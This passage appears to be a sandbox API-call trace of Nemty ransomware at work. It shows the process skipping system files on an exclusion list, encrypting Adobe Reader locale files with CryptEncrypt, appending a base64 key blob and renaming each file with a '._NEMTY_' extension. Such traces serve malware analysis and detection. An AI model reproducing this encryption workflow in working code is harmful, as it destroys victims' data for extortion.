lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0173.607] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.CAT", cchWideChar=14, lpMultiByteStr=0x653e890, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.CAT", lpUsedDefaultChar=0x0) returned 14 [0173.607] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.607] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.CAT", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0173.607] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.CAT", cchWideChar=14, lpMultiByteStr=0x653e890, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.CAT", lpUsedDefaultChar=0x0) returned 14 [0173.607] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.608] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.608] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.608] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.CAT", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0173.608] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.CAT", cchWideChar=14, lpMultiByteStr=0x653e8e0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.CAT", lpUsedDefaultChar=0x0) returned 14 [0173.608] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.608] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.608] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.CAT", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0173.608] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.CAT", cchWideChar=14, lpMultiByteStr=0x653e918, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.CAT", lpUsedDefaultChar=0x0) returned 14 [0173.608] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.608] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0173.608] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0173.608] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0173.608] Sleep (dwMilliseconds=0x5) [0173.610] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1b206b10, dwHighDateTime=0x1d561e8)) [0173.610] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1b206b10, dwHighDateTime=0x1d561e8)) [0173.610] GetLastError () returned 0x0 [0173.610] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0173.610] GetLastError () returned 0x0 [0173.610] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.610] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0173.610] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.610] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0173.610] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0173.611] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0173.611] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0173.611] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="9qTXh5MFKFVGZHKhwnaiH1XSaPLkKLdvFj4KiNSu/tBKq6PR1qhyxhFtadMz15XI\r\nsGubLpc8O66Idq++t49qjsbHqVoBrPhDblf6JAGTNYFw2gWP+mgMqbBx4s2YmTQP\r\nGmaePgLY7xnliaq3eFEB3m1vlGanINHvD8noCZv2QaAwZQNCQ4UMds8WdivHJx2n\r\nT2ndI5NDgEzXzlkb6BEqeKYMcIEF7S9oIxox2StZIAoxF09StynVs2FaMbn7IYQf\r\nhSjVBztyLKbz3KClZDgFEaYfhdx5ZfEbZPKy46rYq+qBWx+b4i+k7ajgrUQ6n5jG\r\nYg0KY38+uCk0NLODXxKYYA==\r\n", pcchString=0x653e5dc) returned 1 [0173.611] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0173.611] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0173.611] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.611] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0173.611] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0173.611] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0173.611] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Multimedia.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\multimedia.cat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0 [0173.612] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=82432) returned 1 [0173.612] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14200) returned 0x6352c48 [0173.612] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.612] ReadFile (in: hFile=0x3b0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x14200, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x14200, lpOverlapped=0x0) returned 1 [0173.626] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.626] WriteFile (in: hFile=0x3b0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x14200, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x14200, lpOverlapped=0x0) returned 1 [0173.627] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0173.627] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=82432, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x14200 [0173.627] WriteFile (in: hFile=0x3b0, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0173.627] CloseHandle (hObject=0x3b0) returned 1 [0173.627] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0173.627] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0173.627] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.627] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0173.627] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.627] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.627] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0173.627] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0173.627] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0173.627] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.627] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Multimedia.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\multimedia.cat"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Multimedia.CAT._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\multimedia.cat._nemty_kgobjgd_")) returned 1 [0173.628] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0173.628] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0173.628] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0173.628] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0173.628] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0173.628] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0173.628] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.628] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0173.628] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db99d60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2e00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="pddom.CAT", cAlternateFileName="")) returned 1 [0173.628] lstrcmpiW (lpString1="pddom.CAT", lpString2=".") returned 1 [0173.628] lstrcmpiW (lpString1="pddom.CAT", lpString2="..") returned 1 [0173.628] lstrcmpiW (lpString1="pddom.CAT", lpString2="...") returned 1 [0173.628] lstrcmpiW (lpString1="pddom.CAT", lpString2="windows") returned -1 [0173.628] lstrcmpiW (lpString1="pddom.CAT", lpString2="$RECYCLE.BIN") returned 1 [0173.628] lstrcmpiW (lpString1="pddom.CAT", lpString2="rsa") returned -1 [0173.628] lstrcmpiW (lpString1="pddom.CAT", lpString2="NTDETECT.COM") returned 1 [0173.628] lstrcmpiW (lpString1="pddom.CAT", lpString2="ntldr") returned 1 [0173.628] lstrcmpiW (lpString1="pddom.CAT", lpString2="MSDOS.SYS") returned 1 [0173.628] lstrcmpiW (lpString1="pddom.CAT", lpString2="IO.SYS") returned 1 [0173.628] lstrcmpiW (lpString1="pddom.CAT", lpString2="boot.ini") returned 1 [0173.628] lstrcmpiW (lpString1="pddom.CAT", lpString2="boot.ini") returned 1 [0173.628] lstrcmpiW (lpString1="pddom.CAT", lpString2="AUTOEXEC.BAT") returned 1 [0173.628] lstrcmpiW (lpString1="pddom.CAT", lpString2="ntuser.dat") returned 1 [0173.628] lstrcmpiW (lpString1="pddom.CAT", lpString2="desktop.ini") returned 1 [0173.628] lstrcmpiW (lpString1="pddom.CAT", lpString2="CONFIG.SYS") returned 1 [0173.628] lstrcmpiW (lpString1="pddom.CAT", lpString2="RECYCLER") returned -1 [0173.628] lstrcmpiW (lpString1="pddom.CAT", lpString2="BOOTSECT.BAK") returned 1 [0173.628] lstrcmpiW (lpString1="pddom.CAT", lpString2="bootmgr") returned 1 [0173.628] lstrcmpiW (lpString1="pddom.CAT", lpString2="programdata") returned -1 [0173.628] lstrcmpiW (lpString1="pddom.CAT", lpString2="appdata") returned 1 [0173.628] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.629] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.CAT", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0173.629] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.CAT", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pddom.CAT", lpUsedDefaultChar=0x0) returned 9 [0173.629] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.629] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.CAT", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0173.629] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.CAT", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pddom.CAT", lpUsedDefaultChar=0x0) returned 9 [0173.629] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.629] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.629] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.629] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.CAT", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0173.629] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.CAT", cchWideChar=9, lpMultiByteStr=0x653e8e0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pddom.CAT", lpUsedDefaultChar=0x0) returned 9 [0173.629] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.629] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.629] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.CAT", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0173.629] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.CAT", cchWideChar=9, lpMultiByteStr=0x653e918, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pddom.CAT", lpUsedDefaultChar=0x0) returned 9 [0173.629] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.629] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0173.629] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0173.629] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0173.629] Sleep (dwMilliseconds=0x5) [0173.641] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1b252dd0, dwHighDateTime=0x1d561e8)) [0173.641] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1b252dd0, dwHighDateTime=0x1d561e8)) [0173.641] GetLastError () returned 0x0 [0173.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0173.641] GetLastError () returned 0x0 [0173.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.641] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0173.642] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.642] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0173.642] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0173.642] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0173.642] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0173.642] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="xeKP2iP+jrSbg4/Tn4NYAxuSC9LKPOIRdx3hGCJ6dje+8BZ2mm0LKfMe/FLVKrrz\r\n1O9YBNfDj4aUfI7mMjlQ3HOrcf6muaL/HebxH4cmrSPyiAk/BEtUJtqcMA07gn7A\r\nBlVMK3lPx1z1YaZwxSCZc8uIfyQbqBwuvM1/3bsfs3ddQ3oCk0TWJRvbCxbUDp7W\r\nxzemW3kOdWD2zWwHXbaQx6RG+PHXr3MThvzl8NBC2O/KJ+ojMiZQWt9iX5a2l80y\r\nzqiJJYWI+EtTjtE0jFXl72VPtEFK2/3bpOVg2PORNzyivwGsKtfCw+XC0ZAH55Su\r\nUfWTImdEgR3IBmcp62bozQ==\r\n", pcchString=0x653e5dc) returned 1 [0173.642] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0173.642] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0173.642] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.642] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0173.642] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0173.642] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0173.642] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\pddom.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\pddom.cat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0 [0173.643] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=11776) returned 1 [0173.644] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2e00) returned 0x6352c48 [0173.644] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.644] ReadFile (in: hFile=0x3b0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2e00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2e00, lpOverlapped=0x0) returned 1 [0173.646] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.646] WriteFile (in: hFile=0x3b0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2e00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2e00, lpOverlapped=0x0) returned 1 [0173.646] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0173.646] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=11776, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2e00 [0173.646] WriteFile (in: hFile=0x3b0, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0173.646] CloseHandle (hObject=0x3b0) returned 1 [0173.646] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0173.646] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0173.646] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.646] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0173.646] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.647] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.647] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0173.647] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0173.647] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0173.647] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.647] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\pddom.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\pddom.cat"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\pddom.CAT._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\pddom.cat._nemty_kgobjgd_")) returned 1 [0173.647] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0173.647] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0173.647] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0173.647] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0173.647] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0173.647] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0173.647] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.647] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0173.647] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x832ee480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x85c00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="PPKLite.CAT", cAlternateFileName="")) returned 1 [0173.647] lstrcmpiW (lpString1="PPKLite.CAT", lpString2=".") returned 1 [0173.647] lstrcmpiW (lpString1="PPKLite.CAT", lpString2="..") returned 1 [0173.647] lstrcmpiW (lpString1="PPKLite.CAT", lpString2="...") returned 1 [0173.647] lstrcmpiW (lpString1="PPKLite.CAT", lpString2="windows") returned -1 [0173.647] lstrcmpiW (lpString1="PPKLite.CAT", lpString2="$RECYCLE.BIN") returned 1 [0173.647] lstrcmpiW (lpString1="PPKLite.CAT", lpString2="rsa") returned -1 [0173.648] lstrcmpiW (lpString1="PPKLite.CAT", lpString2="NTDETECT.COM") returned 1 [0173.648] lstrcmpiW (lpString1="PPKLite.CAT", lpString2="ntldr") returned 1 [0173.648] lstrcmpiW (lpString1="PPKLite.CAT", lpString2="MSDOS.SYS") returned 1 [0173.648] lstrcmpiW (lpString1="PPKLite.CAT", lpString2="IO.SYS") returned 1 [0173.648] lstrcmpiW (lpString1="PPKLite.CAT", lpString2="boot.ini") returned 1 [0173.648] lstrcmpiW (lpString1="PPKLite.CAT", lpString2="boot.ini") returned 1 [0173.648] lstrcmpiW (lpString1="PPKLite.CAT", 